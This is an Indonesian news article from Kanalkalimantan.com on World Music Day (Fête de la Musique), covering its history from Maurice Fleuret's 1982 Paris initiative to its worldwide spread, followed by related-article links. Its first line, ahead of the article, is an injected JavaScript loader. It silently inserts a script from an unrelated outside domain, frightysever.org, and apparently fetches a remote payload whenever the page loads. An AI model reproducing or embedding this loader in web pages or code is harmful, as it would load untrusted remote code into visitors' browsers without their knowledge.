(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Hari Musik Sedunia atau dikenal sebagai Fête de la Musique adalah perayaan global yang berlangsung setiap tahun pada Juni untuk mempromosikan musik dan bahasa universalnya.
Pada peringatan istimewa ini, musisi dari seluruh dunia berkumpul untuk tampil di ruang publik menunjukkan berbagai bakat dan hasrat dalam bermusik.
Perayaan Hari Musik Sedunia bertujuan untuk menyediakan platform bagi seniman profesional dan amatir mengekspresikan diri melalui keahliannya. Berdasarkan tagline faites de la musique yang berarti “buat musik”, perayaan Hari Musik Sedunia menjadi kekuatan transformatif musik untuk menyatukan dan menumbuhkan rasa kebersamaan setiap musisi.
Berlandaskan tagline tersebut, semua konser dalam perayaan ini harus gratis dan musisi bermain tanpa kompensasi untuk menampilkan banyak genre musik kepada masyarakat umum.
Baca juga: Piala Bergilir Diserahkan, MTQ XXXVI Kalsel Resmi Dimulai
Sejarah Hari Musik Sedunia
Dari alat musik tertua di dunia -seruling Neanderthal, yang dibuat oleh Neanderthal 60.000 tahun yang lalu- hingga alat musik elektronik masa kini, musik telah menjadi bagian penting dalam kehidupan kita sehari-hari. Selain enak didengar, musik adalah bentuk ekspresi -melodi yang tepat lebih cocok untuk menggambarkan perasaan daripada kata-kata, dan musik melampaui batas. Inilah tujuan Hari Musik Sedunia -menyatukan orang-orang, dan mendobrak batasan dan hambatan melalui musik.
Hari Musik Sedunia awalnya dimulai di Prancis. Ketika Maurice Fleuret menjadi Direktur Musik dan Tari di Kementerian Kebudayaan pada bulan Oktober 1981, ia menerapkan perspektifnya pada praktik musik: “musik ada di mana-mana, tetapi konser tidak ada di mana-mana”. Dalam sebuah studi yang ditulis pada tahun 1982 tentang kebiasaan budaya Prancis, Fleuret menemukan bahwa setiap satu dari dua orang memainkan alat musik. Terinspirasi oleh hal ini, ia mulai memikirkan cara untuk menyatukan orang-orang di jalan melalui musik. Beginilah Hari Musik pertama atau ‘Fête de la Musique,’ diadakan di Paris pada tahun 1982.
Baca juga: Kafilah Banjarbaru Diberangkatkan ke MTQ XXXVI Kalsel
Fête de la Musique mempromosikan musik dengan dua cara: dengan mendorong musisi baru dan profesional untuk tampil di jalanan dan dengan menyelenggarakan konser musik gratis, yang mencakup semua genre musik, sehingga masyarakat dapat menikmati musik baru. Di bawah slogan ‘Faites de la musique’ (‘Buat musik’), organisasi resmi Fête de la Musique di Paris menganjurkan agar konser-konser dibuat gratis untuk umum dan para artis bermain tanpa dipungut biaya. Hal ini juga berlaku secara luas di kota-kota peserta lainnya.
Selama beberapa tahun terakhir, festival ini memperoleh popularitas internasional, dan akhirnya dirayakan oleh lebih dari 120 negara di seluruh dunia. Hari tersebut akhirnya berkembang menjadi Hari Musik Sedunia, Hari Musik Dunia, atau Hari Musik Internasional. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.